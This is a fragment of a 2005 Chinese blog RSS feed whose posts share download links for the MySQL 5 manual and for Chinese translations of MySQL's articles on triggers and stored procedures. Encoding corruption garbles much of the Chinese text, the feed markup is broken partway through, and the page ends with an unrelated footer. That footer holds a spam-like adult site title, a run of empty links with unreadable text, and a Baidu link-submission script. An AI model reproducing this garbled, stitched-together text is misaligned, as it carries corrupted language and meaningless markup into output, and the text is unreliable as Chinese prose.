MySQL参考手册下载!Q寻战友一同翻译!Q?/title><link>http://www.aygfsteel.com/chenpengyi/articles/7568.html</link><dc:creator>陈朋?/dc:creator><author>陈朋?/author><pubDate>Tue, 12 Jul 2005 16:36:00 GMT</pubDate><guid>http://www.aygfsteel.com/chenpengyi/articles/7568.html</guid><wfw:comment>http://www.aygfsteel.com/chenpengyi/comments/7568.html</wfw:comment><comments>http://www.aygfsteel.com/chenpengyi/articles/7568.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.aygfsteel.com/chenpengyi/comments/commentRss/7568.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/chenpengyi/services/trackbacks/7568.html</trackback:ping><description><![CDATA[<P>q里提供的是英文版:<BR><A >http://zj.onlinedown.net:82/down/mysql5.chm</A><A ></A><BR><A >http://crcfj.onlinedown.com:82/down/mysql5.chm</A><BR><A >http://gzcnc.onlinedown.net:82/down/mysql5.chm</A><BR><A >http://sccrc.onlinedown.net:82/files2/mysql5.chm</A><BR><BR>好像q接挂了Q可能是Z防止盗链?BR>大家可以d军自己找?BR>想翻译这个……不q一个h工程太大了,需要战友。。?BR>惌为开源和数据库事业做A献的留言Q?/P><img src ="http://www.aygfsteel.com/chenpengyi/aggbug/7568.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/chenpengyi/" target="_blank">陈朋?/a> 2005-07-13 00:36 <a href="http://www.aygfsteel.com/chenpengyi/articles/7568.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>官方MySQL 5 新特?触发器(TriggersQ?译 下蝲Q?http://www.aygfsteel.com/chenpengyi/articles/7474.html陈朋?/dc:creator>陈朋?/author>Sun, 10 Jul 2005 15:04:00 GMThttp://www.aygfsteel.com/chenpengyi/articles/7474.htmlhttp://www.aygfsteel.com/chenpengyi/comments/7474.htmlhttp://www.aygfsteel.com/chenpengyi/articles/7474.html#Feedback3http://www.aygfsteel.com/chenpengyi/comments/commentRss/7474.htmlhttp://www.aygfsteel.com/chenpengyi/services/trackbacks/7474.html

今天l于译完咯Q哈哈,下面是链接,希望能给有需要的人帮助!
http://www.aygfsteel.com/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar

如果需要原版的话,可以C面地址下蝲Q?BR>http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf



]]>
MySQL 5 新特?存储q程Qstored procedureQ?译 下蝲Q?/title><link>http://www.aygfsteel.com/chenpengyi/articles/7462.html</link><dc:creator>陈朋?/dc:creator><author>陈朋?/author><pubDate>Sun, 10 Jul 2005 13:52:00 GMT</pubDate><guid>http://www.aygfsteel.com/chenpengyi/articles/7462.html</guid><wfw:comment>http://www.aygfsteel.com/chenpengyi/comments/7462.html</wfw:comment><comments>http://www.aygfsteel.com/chenpengyi/articles/7462.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.aygfsteel.com/chenpengyi/comments/commentRss/7462.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/chenpengyi/services/trackbacks/7462.html</trackback:ping><description><![CDATA[以下是本人翻译的MySQL官方的存储过E教E的中文版,下面是链接,如果大家有什么想法请来信和我讨论Q?A href="mailto:chenpengyi_007@163.com">chenpengyi_007@163.com</A>Q,或者留a。下载链接如下:<BR><A ><FONT color=#3f3d3d>http://hudu.net/wind/mysql5Procedure.rar</FONT></A>(感谢Wind提供I间)<BR>或者在<A href="http://www.aygfsteel.com/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar">http://www.aygfsteel.com/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar</A><BR>下蝲<BR>若需要原版可以去MySQL官方|站下蝲<BR>q里提供链接<A >http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.pdf</A><img src ="http://www.aygfsteel.com/chenpengyi/aggbug/7462.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/chenpengyi/" target="_blank">陈朋?/a> 2005-07-10 21:52 <a href="http://www.aygfsteel.com/chenpengyi/articles/7462.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> վ֩ģ壺 <a href="http://" target="_blank">˳</a>| <a href="http://" target="_blank">Դ</a>| <a href="http://" target="_blank">ɽ</a>| <a href="http://" target="_blank">°</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˲</a>| <a href="http://" target="_blank">Ͻ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">̫</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ɽ</a>| <a href="http://" target="_blank">ƾ</a>| <a href="http://" target="_blank">¡</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˳</a>| <a href="http://" target="_blank">ƽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ȷ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">̨ʡ</a>| <a href="http://" target="_blank">봨</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">µ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Դ</a>| <a href="http://" target="_blank">ɽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ƽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ֹ</a>| <a href="http://" target="_blank">˳</a>| <a href="http://" target="_blank"></a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>